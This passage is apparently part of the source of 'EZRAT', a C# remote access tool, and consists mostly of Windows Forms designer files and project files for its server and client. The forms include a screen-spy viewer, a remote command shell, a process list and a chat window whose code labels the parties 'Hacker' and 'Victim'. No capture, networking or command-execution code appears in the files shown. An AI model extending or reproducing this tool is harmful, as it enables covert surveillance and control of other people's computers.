{EE60B0D1-7432-45A8-B250-D2455BBF4E6C} 8 | WinExe 9 | EZRAT 10 | EZRAT 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | ResXFileCodeGenerator 52 | Resources.Designer.cs 53 | Designer 54 | 55 | 56 | True 57 | Resources.resx 58 | 59 | 60 | SettingsSingleFileGenerator 61 | Settings.Designer.cs 62 | 63 | 64 | True 65 | Settings.settings 66 | True 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /EZRATServer/Forms/RenameFile.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace EZRATServer.Forms 2 | { 3 | partial class RenameFile 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.tbxName = new System.Windows.Forms.TextBox(); 32 | this.lblName = new System.Windows.Forms.Label(); 33 | this.btnValidate = new System.Windows.Forms.Button(); 34 | this.SuspendLayout(); 35 | // 36 | // tbxName 37 | // 38 | this.tbxName.Location = new System.Drawing.Point(55, 47); 39 | this.tbxName.Name = "tbxName"; 40 | this.tbxName.Size = new System.Drawing.Size(170, 20); 41 | this.tbxName.TabIndex = 0; 42 | // 43 | // lblName 44 | // 45 | this.lblName.AutoSize = true; 46 | this.lblName.Location = new System.Drawing.Point(8, 50); 47 | this.lblName.Name = "lblName"; 48 | this.lblName.Size = new System.Drawing.Size(47, 13); 49 | this.lblName.TabIndex = 1; 50 | this.lblName.Text = "Name : "; 51 | // 52 | // btnValidate 53 | // 54 | this.btnValidate.Location = new System.Drawing.Point(231, 46); 55 | this.btnValidate.Name = "btnValidate"; 56 | this.btnValidate.Size = new System.Drawing.Size(75, 23); 57 | this.btnValidate.TabIndex = 2; 58 | this.btnValidate.Text = "Save"; 59 | this.btnValidate.UseVisualStyleBackColor = true; 60 | // 61 | // RenameFile 62 | // 63 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 64 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 65 | this.ClientSize = new System.Drawing.Size(339, 97); 66 | this.Controls.Add(this.btnValidate); 67 | this.Controls.Add(this.lblName); 68 | this.Controls.Add(this.tbxName); 69 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; 70 | this.MaximizeBox = false; 71 | this.Name = "RenameFile"; 72 | this.ShowIcon = false; 73 | this.Text = "RenameFile"; 74 | this.ResumeLayout(false); 75 | this.PerformLayout(); 76 | 77 | } 78 | 79 | #endregion 80 | 81 | private System.Windows.Forms.TextBox tbxName; 82 | private System.Windows.Forms.Label lblName; 83 | private System.Windows.Forms.Button btnValidate; 84 | } 85 | } -------------------------------------------------------------------------------- /EZRATServer/Forms/Starting.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace EZRATServer.Forms 2 | { 3 | partial class Starting 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.tbxPort = new System.Windows.Forms.TextBox(); 32 | this.lblPort = new System.Windows.Forms.Label(); 33 | this.btnOK = new System.Windows.Forms.Button(); 34 | this.SuspendLayout(); 35 | // 36 | // tbxPort 37 | // 38 | this.tbxPort.Location = new System.Drawing.Point(77, 15); 39 | this.tbxPort.Name = "tbxPort"; 40 | this.tbxPort.Size = new System.Drawing.Size(118, 20); 41 | this.tbxPort.TabIndex = 0; 42 | // 43 | // lblPort 44 | // 45 | this.lblPort.AutoSize = true; 46 | this.lblPort.Location = new System.Drawing.Point(36, 18); 47 | this.lblPort.Name = "lblPort"; 48 | this.lblPort.Size = new System.Drawing.Size(35, 13); 49 | this.lblPort.TabIndex = 1; 50 | this.lblPort.Text = "Port : "; 51 | // 52 | // btnOK 53 | // 54 | this.btnOK.BackColor = System.Drawing.SystemColors.ControlLight; 55 | this.btnOK.Location = new System.Drawing.Point(227, 11); 56 | this.btnOK.Name = "btnOK"; 57 | this.btnOK.Size = new System.Drawing.Size(68, 26); 58 | this.btnOK.TabIndex = 2; 59 | this.btnOK.Text = "OK"; 60 | this.btnOK.UseVisualStyleBackColor = false; 61 | // 62 | // Starting 63 | // 64 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 65 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 66 | this.BackColor = System.Drawing.Color.WhiteSmoke; 67 | this.ClientSize = new System.Drawing.Size(325, 49); 68 | this.Controls.Add(this.btnOK); 69 | this.Controls.Add(this.lblPort); 70 | this.Controls.Add(this.tbxPort); 71 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; 72 | this.MaximizeBox = false; 73 | this.MinimizeBox = false; 74 | this.Name = "Starting"; 75 | this.ShowIcon = false; 76 | this.Text = "Starting"; 77 | this.ResumeLayout(false); 78 | this.PerformLayout(); 79 | 80 | } 81 | 82 | #endregion 83 | 84 | private System.Windows.Forms.TextBox tbxPort; 85 | private System.Windows.Forms.Label lblPort; 86 | private System.Windows.Forms.Button btnOK; 87 | } 88 | } -------------------------------------------------------------------------------- /EZRATClient/Forms/Chat.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace EZRATClient.Forms 2 | { 3 | partial class Chat 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.rtbMsg = new System.Windows.Forms.RichTextBox(); 32 | this.tbxMsg = new System.Windows.Forms.TextBox(); 33 | this.btnSend = new System.Windows.Forms.Button(); 34 | this.SuspendLayout(); 35 | // 36 | // rtbMsg 37 | // 38 | this.rtbMsg.BackColor = System.Drawing.Color.DarkGray; 39 | this.rtbMsg.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; 40 | this.rtbMsg.Location = new System.Drawing.Point(0, -1); 41 | this.rtbMsg.Name = "rtbMsg"; 42 | this.rtbMsg.ReadOnly = true; 43 | this.rtbMsg.Size = new System.Drawing.Size(596, 266); 44 | this.rtbMsg.TabIndex = 0; 45 | this.rtbMsg.Text = ""; 46 | // 47 | // tbxMsg 48 | // 49 | this.tbxMsg.BackColor = System.Drawing.Color.LightGray; 50 | this.tbxMsg.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; 51 | this.tbxMsg.Location = new System.Drawing.Point(1, 266); 52 | this.tbxMsg.Name = "tbxMsg"; 53 | this.tbxMsg.Size = new System.Drawing.Size(518, 20); 54 | this.tbxMsg.TabIndex = 2; 55 | // 56 | // btnSend 57 | // 58 | this.btnSend.BackColor = System.Drawing.Color.LightGray; 59 | this.btnSend.FlatStyle = System.Windows.Forms.FlatStyle.Flat; 60 | this.btnSend.Location = new System.Drawing.Point(519, 263); 61 | this.btnSend.Name = "btnSend"; 62 | this.btnSend.Size = new System.Drawing.Size(75, 25); 63 | this.btnSend.TabIndex = 3; 64 | this.btnSend.Text = "Send"; 65 | this.btnSend.UseVisualStyleBackColor = false; 66 | // 67 | // Chat 68 | // 69 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 70 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 71 | this.BackColor = System.Drawing.Color.DarkGray; 72 | this.ClientSize = new System.Drawing.Size(597, 290); 73 | this.Controls.Add(this.btnSend); 74 | this.Controls.Add(this.tbxMsg); 75 | this.Controls.Add(this.rtbMsg); 76 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; 77 | this.MaximizeBox = false; 78 | this.MinimizeBox = false; 79 | this.Name = "Chat"; 80 | this.ShowIcon = false; 81 | this.ShowInTaskbar = false; 82 | this.Text = "Chat"; 83 | this.TopMost = true; 84 | this.ResumeLayout(false); 85 | this.PerformLayout(); 86 | 87 | } 88 | 89 | #endregion 90 | 91 | private System.Windows.Forms.RichTextBox rtbMsg; 92 | private System.Windows.Forms.TextBox tbxMsg; 93 | private System.Windows.Forms.Button btnSend; 94 | } 95 | } -------------------------------------------------------------------------------- /EZRATServer/Forms/Chat.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using System.Windows.Forms; 10 | 11 | namespace EZRATServer.Forms 12 | { 13 | public partial class Chat : Form 14 | { 15 | 16 | private List _texted = new List(); 17 | 18 | public List Texted 19 | { 20 | get { return _texted; } 21 | set { _texted = value; } 22 | } 23 | 24 | private string _serverName; 25 | 26 | public string ServerName 27 | { 28 | get { return _serverName + " : "; } 29 | set { _serverName = value; } 30 | } 31 | 32 | private string _victimName; 33 | 34 | public string VictimName 35 | { 36 | get { return _victimName + " : "; } 37 | set { _victimName = value; } 38 | } 39 | 40 | private int _id; 41 | 42 | public int Id 43 | { 44 | get { return _id; } 45 | set { _id = value; } 46 | } 47 | 48 | 49 | private Server _parent; 50 | 51 | 52 | public Chat(Server parent, int id, string message = "") 53 | { 54 | this._parent = parent; 55 | this.Id = id; 56 | InitializeComponent(); 57 | this.btnSend.Click += SendMessageChat; 58 | this.btnGet.Click += GetAllData; 59 | this.Text = "Chat"; 60 | this.VictimName = "Hacker"; 61 | this.ServerName = "Victim"; 62 | if (message != "") 63 | { 64 | this.Texted.Add(this.ServerName + message); 65 | this.rtbMsg.Text += this.ServerName + message + Environment.NewLine; 66 | } 67 | } 68 | 69 | private void GetAllData(object sender, EventArgs e) 70 | { 71 | this._parent.SendCommand("chatdata;", this.Id); 72 | } 73 | 74 | public void UpdateAllData(string[] lstMsg) 75 | { 76 | for (int i = 0; i < lstMsg.Length; i++) 77 | { 78 | AddBruteMessage(lstMsg[i]); 79 | } 80 | } 81 | 82 | private void SendMessageChat(object sender, EventArgs e) 83 | { 84 | string msg = string.Empty; 85 | this.tbxMsg.Invoke(new MethodInvoker(() => msg = this.tbxMsg.Text)); 86 | this.tbxMsg.Invoke(new MethodInvoker(() => this.tbxMsg.Text = string.Empty)); 87 | this._parent.SendCommand("chat;" + msg, this.Id); 88 | this.Texted.Add(this.VictimName + msg); 89 | AddMessage(msg, 1); 90 | } 91 | 92 | 93 | public void NewMessage(string message) 94 | { 95 | this.Texted.Add(this.ServerName + message + Environment.NewLine); 96 | AddMessage(message, 0); 97 | } 98 | 99 | 100 | private void AddMessage(string message, int user) 101 | { 102 | if (this.rtbMsg.InvokeRequired) 103 | { 104 | this.rtbMsg.Invoke(new MethodInvoker(() => this.rtbMsg.Text += ((user == 0) ? this.ServerName : this.VictimName) + message + Environment.NewLine)); 105 | } 106 | else 107 | { 108 | this.rtbMsg.Text += ((user == 0) ? this.ServerName : this.VictimName) + message + Environment.NewLine; 109 | } 110 | } 111 | 112 | private void AddBruteMessage(string message) 113 | { 114 | if (this.rtbMsg.InvokeRequired) 115 | { 116 | this.rtbMsg.Invoke(new MethodInvoker(() => this.rtbMsg.Text += message + Environment.NewLine)); 117 | } 118 | else 119 | { 120 | this.rtbMsg.Text += message + Environment.NewLine; 121 | } 122 | } 123 | } 124 | } 125 | -------------------------------------------------------------------------------- /EZRATServer/Forms/ScreenShotViewer.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace EZRATServer.Forms 2 | { 3 | partial class ScreenShotViewer 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ScreenShotViewer)); 32 | this.pib = new System.Windows.Forms.PictureBox(); 33 | this.statusStrip1 = new System.Windows.Forms.StatusStrip(); 34 | this.lblStatus = new System.Windows.Forms.ToolStripStatusLabel(); 35 | ((System.ComponentModel.ISupportInitialize)(this.pib)).BeginInit(); 36 | this.statusStrip1.SuspendLayout(); 37 | this.SuspendLayout(); 38 | // 39 | // pib 40 | // 41 | this.pib.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) 42 | | System.Windows.Forms.AnchorStyles.Left) 43 | | System.Windows.Forms.AnchorStyles.Right))); 44 | this.pib.Location = new System.Drawing.Point(2, 12); 45 | this.pib.Name = "pib"; 46 | this.pib.Size = new System.Drawing.Size(779, 424); 47 | this.pib.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; 48 | this.pib.TabIndex = 0; 49 | this.pib.TabStop = false; 50 | // 51 | // statusStrip1 52 | // 53 | this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { 54 | this.lblStatus}); 55 | this.statusStrip1.Location = new System.Drawing.Point(0, 439); 56 | this.statusStrip1.Name = "statusStrip1"; 57 | this.statusStrip1.Size = new System.Drawing.Size(784, 22); 58 | this.statusStrip1.TabIndex = 1; 59 | this.statusStrip1.Text = "statusStrip1"; 60 | // 61 | // lblStatus 62 | // 63 | this.lblStatus.Name = "lblStatus"; 64 | this.lblStatus.Size = new System.Drawing.Size(100, 17); 65 | this.lblStatus.Text = "ScreenSpy started"; 66 | // 67 | // ScreenShotViewer 68 | // 69 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 70 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 71 | this.ClientSize = new System.Drawing.Size(784, 461); 72 | this.Controls.Add(this.statusStrip1); 73 | this.Controls.Add(this.pib); 74 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 75 | this.Name = "ScreenShotViewer"; 76 | this.Text = "ScreenShotViewer"; 77 | ((System.ComponentModel.ISupportInitialize)(this.pib)).EndInit(); 78 | this.statusStrip1.ResumeLayout(false); 79 | this.statusStrip1.PerformLayout(); 80 | this.ResumeLayout(false); 81 | this.PerformLayout(); 82 | 83 | } 84 | #endregion 85 | 86 | private System.Windows.Forms.PictureBox pib; 87 | private System.Windows.Forms.StatusStrip statusStrip1; 88 | private System.Windows.Forms.ToolStripStatusLabel lblStatus; 89 | } 90 | } -------------------------------------------------------------------------------- /EZRATClient/EZRATClient.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D} 8 | Exe 9 | EZRATClient 10 | EZRATClient 11 | v4.0 12 | 512 13 | true 14 | 15 | 16 | 17 | 18 | 19 | AnyCPU 20 | true 21 | full 22 | false 23 | bin\Debug\ 24 | DEBUG;TRACE 25 | prompt 26 | 4 27 | true 28 | 29 | 30 | AnyCPU 31 | pdbonly 32 | true 33 | bin\Release\ 34 | TRACE 35 | prompt 36 | 4 37 | 38 | 39 | true 40 | bin\x86\Debug\ 41 | DEBUG;TRACE 42 | full 43 | x86 44 | 7.3 45 | prompt 46 | MinimumRecommendedRules.ruleset 47 | 48 | 49 | bin\x86\Release\ 50 | TRACE 51 | true 52 | pdbonly 53 | x86 54 | 7.3 55 | prompt 56 | MinimumRecommendedRules.ruleset 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | Form 77 | 78 | 79 | Chat.cs 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | Chat.cs 94 | 95 | 96 | 97 | -------------------------------------------------------------------------------- /EZRATServer/Forms/ShellCommand.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace EZRATServer.Forms 2 | { 3 | partial class ShellCommand 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ShellCommand)); 32 | this.rtbText = new System.Windows.Forms.RichTextBox(); 33 | this.tbxMessage = new System.Windows.Forms.TextBox(); 34 | this.statusStrip1 = new System.Windows.Forms.StatusStrip(); 35 | this.lblStatus = new System.Windows.Forms.ToolStripStatusLabel(); 36 | this.statusStrip1.SuspendLayout(); 37 | this.SuspendLayout(); 38 | // 39 | // rtbText 40 | // 41 | this.rtbText.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) 42 | | System.Windows.Forms.AnchorStyles.Left) 43 | | System.Windows.Forms.AnchorStyles.Right))); 44 | this.rtbText.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 45 | this.rtbText.Location = new System.Drawing.Point(-1, -2); 46 | this.rtbText.Name = "rtbText"; 47 | this.rtbText.ReadOnly = true; 48 | this.rtbText.Size = new System.Drawing.Size(793, 360); 49 | this.rtbText.TabIndex = 1; 50 | this.rtbText.Text = ""; 51 | // 52 | // tbxMessage 53 | // 54 | this.tbxMessage.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) 55 | | System.Windows.Forms.AnchorStyles.Right))); 56 | this.tbxMessage.Location = new System.Drawing.Point(1, 364); 57 | this.tbxMessage.Name = "tbxMessage"; 58 | this.tbxMessage.Size = new System.Drawing.Size(791, 20); 59 | this.tbxMessage.TabIndex = 0; 60 | // 61 | // statusStrip1 62 | // 63 | this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { 64 | this.lblStatus}); 65 | this.statusStrip1.Location = new System.Drawing.Point(0, 387); 66 | this.statusStrip1.Name = "statusStrip1"; 67 | this.statusStrip1.Size = new System.Drawing.Size(793, 22); 68 | this.statusStrip1.TabIndex = 2; 69 | this.statusStrip1.Text = "statusStrip1"; 70 | // 71 | // lblStatus 72 | // 73 | this.lblStatus.Name = "lblStatus"; 74 | this.lblStatus.Size = new System.Drawing.Size(86, 17); 75 | this.lblStatus.Text = "Command line"; 76 | // 77 | // ShellCommand 78 | // 79 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 80 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 81 | this.ClientSize = new System.Drawing.Size(793, 409); 82 | this.Controls.Add(this.statusStrip1); 83 | this.Controls.Add(this.tbxMessage); 84 | this.Controls.Add(this.rtbText); 85 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 86 | this.Name = "ShellCommand"; 87 | this.Text = "Command"; 88 | this.statusStrip1.ResumeLayout(false); 89 | this.statusStrip1.PerformLayout(); 90 | this.ResumeLayout(false); 91 | this.PerformLayout(); 92 | 93 | } 94 | 95 | #endregion 96 | 97 | private System.Windows.Forms.RichTextBox rtbText; 98 | private System.Windows.Forms.TextBox tbxMessage; 99 | private System.Windows.Forms.StatusStrip statusStrip1; 100 | private System.Windows.Forms.ToolStripStatusLabel lblStatus; 101 | } 102 | } -------------------------------------------------------------------------------- /EZRATServer/Forms/ProcessViewer.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace EZRATServer.Forms 2 | { 3 | partial class ProcessViewer 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ProcessViewer)); 32 | this.lstProcess = new System.Windows.Forms.ListView(); 33 | this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 34 | this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 35 | this.statusStrip1 = new System.Windows.Forms.StatusStrip(); 36 | this.lblStatus = new System.Windows.Forms.ToolStripStatusLabel(); 37 | this.statusStrip1.SuspendLayout(); 38 | this.SuspendLayout(); 39 | // 40 | // lstProcess 41 | // 42 | this.lstProcess.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) 43 | | System.Windows.Forms.AnchorStyles.Left) 44 | | System.Windows.Forms.AnchorStyles.Right))); 45 | this.lstProcess.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; 46 | this.lstProcess.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { 47 | this.columnHeader1, 48 | this.columnHeader2}); 49 | this.lstProcess.FullRowSelect = true; 50 | this.lstProcess.HideSelection = false; 51 | this.lstProcess.Location = new System.Drawing.Point(-3, -1); 52 | this.lstProcess.MultiSelect = false; 53 | this.lstProcess.Name = "lstProcess"; 54 | this.lstProcess.Size = new System.Drawing.Size(578, 426); 55 | this.lstProcess.TabIndex = 0; 56 | this.lstProcess.UseCompatibleStateImageBehavior = false; 57 | this.lstProcess.View = System.Windows.Forms.View.Details; 58 | // 59 | // columnHeader1 60 | // 61 | this.columnHeader1.Text = "Name"; 62 | // 63 | // columnHeader2 64 | // 65 | this.columnHeader2.Text = "PID"; 66 | // 67 | // statusStrip1 68 | // 69 | this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { 70 | this.lblStatus}); 71 | this.statusStrip1.Location = new System.Drawing.Point(0, 428); 72 | this.statusStrip1.Name = "statusStrip1"; 73 | this.statusStrip1.Size = new System.Drawing.Size(575, 22); 74 | this.statusStrip1.TabIndex = 1; 75 | this.statusStrip1.Text = "statusStrip1"; 76 | // 77 | // lblStatus 78 | // 79 | this.lblStatus.Name = "lblStatus"; 80 | this.lblStatus.Size = new System.Drawing.Size(117, 17); 81 | this.lblStatus.Text = "Number of process : "; 82 | // 83 | // ProcessViewer 84 | // 85 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 86 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 87 | this.ClientSize = new System.Drawing.Size(575, 450); 88 | this.Controls.Add(this.statusStrip1); 89 | this.Controls.Add(this.lstProcess); 90 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 91 | this.Name = "ProcessViewer"; 92 | this.Text = "ProcessViewer"; 93 | this.statusStrip1.ResumeLayout(false); 94 | this.statusStrip1.PerformLayout(); 95 | this.ResumeLayout(false); 96 | this.PerformLayout(); 97 | 98 | } 99 | 100 | #endregion 101 | 102 | private System.Windows.Forms.ListView lstProcess; 103 | private System.Windows.Forms.StatusStrip statusStrip1; 104 | private System.Windows.Forms.ToolStripStatusLabel lblStatus; 105 | private System.Windows.Forms.ColumnHeader columnHeader1; 106 | private System.Windows.Forms.ColumnHeader columnHeader2; 107 | } 108 | } -------------------------------------------------------------------------------- /Properties/Resources.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /EZRATServer/Forms/Chat.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace EZRATServer.Forms 2 | { 3 | partial class Chat 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Chat)); 32 | this.rtbMsg = new System.Windows.Forms.RichTextBox(); 33 | this.tbxMsg = new System.Windows.Forms.TextBox(); 34 | this.btnSend = new System.Windows.Forms.Button(); 35 | this.btnGet = new System.Windows.Forms.Button(); 36 | this.SuspendLayout(); 37 | // 38 | // rtbMsg 39 | // 40 | this.rtbMsg.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) 41 | | System.Windows.Forms.AnchorStyles.Left) 42 | | System.Windows.Forms.AnchorStyles.Right))); 43 | this.rtbMsg.BackColor = System.Drawing.Color.DarkGray; 44 | this.rtbMsg.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; 45 | this.rtbMsg.Location = new System.Drawing.Point(0, -1); 46 | this.rtbMsg.Name = "rtbMsg"; 47 | this.rtbMsg.ReadOnly = true; 48 | this.rtbMsg.Size = new System.Drawing.Size(596, 267); 49 | this.rtbMsg.TabIndex = 0; 50 | this.rtbMsg.Text = ""; 51 | // 52 | // tbxMsg 53 | // 54 | this.tbxMsg.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) 55 | | System.Windows.Forms.AnchorStyles.Left) 56 | | System.Windows.Forms.AnchorStyles.Right))); 57 | this.tbxMsg.BackColor = System.Drawing.Color.LightGray; 58 | this.tbxMsg.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; 59 | this.tbxMsg.Location = new System.Drawing.Point(1, 266); 60 | this.tbxMsg.Name = "tbxMsg"; 61 | this.tbxMsg.Size = new System.Drawing.Size(442, 20); 62 | this.tbxMsg.TabIndex = 2; 63 | // 64 | // btnSend 65 | // 66 | this.btnSend.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) 67 | | System.Windows.Forms.AnchorStyles.Left) 68 | | System.Windows.Forms.AnchorStyles.Right))); 69 | this.btnSend.BackColor = System.Drawing.Color.LightGray; 70 | this.btnSend.FlatStyle = System.Windows.Forms.FlatStyle.Flat; 71 | this.btnSend.Location = new System.Drawing.Point(444, 265); 72 | this.btnSend.Name = "btnSend"; 73 | this.btnSend.Size = new System.Drawing.Size(75, 25); 74 | this.btnSend.TabIndex = 3; 75 | this.btnSend.Text = "Send"; 76 | this.btnSend.UseVisualStyleBackColor = false; 77 | // 78 | // btnGet 79 | // 80 | this.btnGet.Anchor = 